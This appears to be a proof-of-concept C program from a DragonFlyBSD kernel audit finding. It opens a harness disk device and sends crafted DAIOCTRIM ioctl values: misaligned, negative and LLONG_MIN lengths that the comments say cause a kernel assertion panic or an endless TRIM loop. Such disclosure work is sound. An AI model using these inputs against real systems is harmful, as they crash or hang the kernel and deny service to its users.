⬢ DragonFlyBSD Kernel Audit
DF-2276 / da_user.c
← back to finding ↓ download raw
/*
 * da_user.c -- userland trigger for DF-2275 / DF-2276.
 *
 * Opens the FABRICATED second disk /dev/da99 (created by the harness
 * kernel via the real make_dev(&da_ops)) and issues a real
 * ioctl(DAIOCTRIM) with attacker-chosen {start, length}.
 *
 * The ioctl syscall layer copyins the 16-byte off_t[2] into a kernel
 * buffer (sys/kern/sys_generic.c:681-724) and dispatches through the
 * real d_ioctl = daioctl.  Everything after that is real kernel code.
 *
 * modes:
 *   aligned    {0, 4096}       control: 512-aligned positive TRIM
 *   bignormal  {0, 0x7FFF8000} control: single max-size TRIM (64 ranges)
 *   mlen       {0, 4096+8}     DF-2275: bytes_left % 512 != 0 -> KKASSERT panic
 *   moff       {512+8, 4096}   DF-2275: bytes_start % 512 != 0 -> KKASSERT panic
 *   neg        {0, -4096}      DF-2276: negative b_bcount to strategy
 *   llmin      {0, LLONG_MIN}  DF-2276: infinite zero-block TRIM loop
 */
#include <sys/types.h>
#include <sys/ioccom.h>
#include <errno.h>
#include <fcntl.h>
#include <limits.h>
#include <stdio.h>
#include <string.h>
#include <time.h>
#include <unistd.h>

#define DAIOCTRIM _IOW('C', 128, off_t[2])

static double
now_sec(void)
{
	struct timespec ts;

	clock_gettime(CLOCK_MONOTONIC, &ts);
	return (ts.tv_sec + ts.tv_nsec / 1e9);
}

int
main(int argc, char **argv)
{
	const char *mode = (argc > 1) ? argv[1] : "aligned";
	off_t start = 0, len = 4096;
	off_t req[2];
	double t0, t1;
	int fd, r;

	if (strcmp(mode, "aligned") == 0) {
		start = 0; len = 4096;
	} else if (strcmp(mode, "bignormal") == 0) {
		start = 0; len = 0x7FFF8000;
	} else if (strcmp(mode, "mlen") == 0) {
		start = 0; len = 4096 + 8;
	} else if (strcmp(mode, "moff") == 0) {
		start = 512 + 8; len = 4096;
	} else if (strcmp(mode, "neg") == 0) {
		start = 0; len = -4096;
	} else if (strcmp(mode, "llmin") == 0) {
		start = 0; len = LLONG_MIN;
	} else {
		fprintf(stderr, "unknown mode %s\n", mode);
		return (2);
	}

	fd = open("/dev/da99", O_RDWR);
	if (fd < 0) {
		printf("open(/dev/da99): FAILED: %s\n", strerror(errno));
		return (1);
	}
	req[0] = start;
	req[1] = len;
	printf("mode=%-9s start=%lld (0x%llx) len=%lld (0x%llx) "
	    "DAIOCTRIM=0x%lx -> ioctl...\n",
	    mode, (long long)start, (unsigned long long)start,
	    (long long)len, (unsigned long long)len,
	    (unsigned long)DAIOCTRIM);
	fflush(stdout);

	t0 = now_sec();
	r = ioctl(fd, DAIOCTRIM, req);
	t1 = now_sec();

	printf("ioctl returned r=%d errno=%d (%s) in %.3f sec\n",
	    r, errno, r ? strerror(errno) : "success", t1 - t0);
	close(fd);
	return (0);
}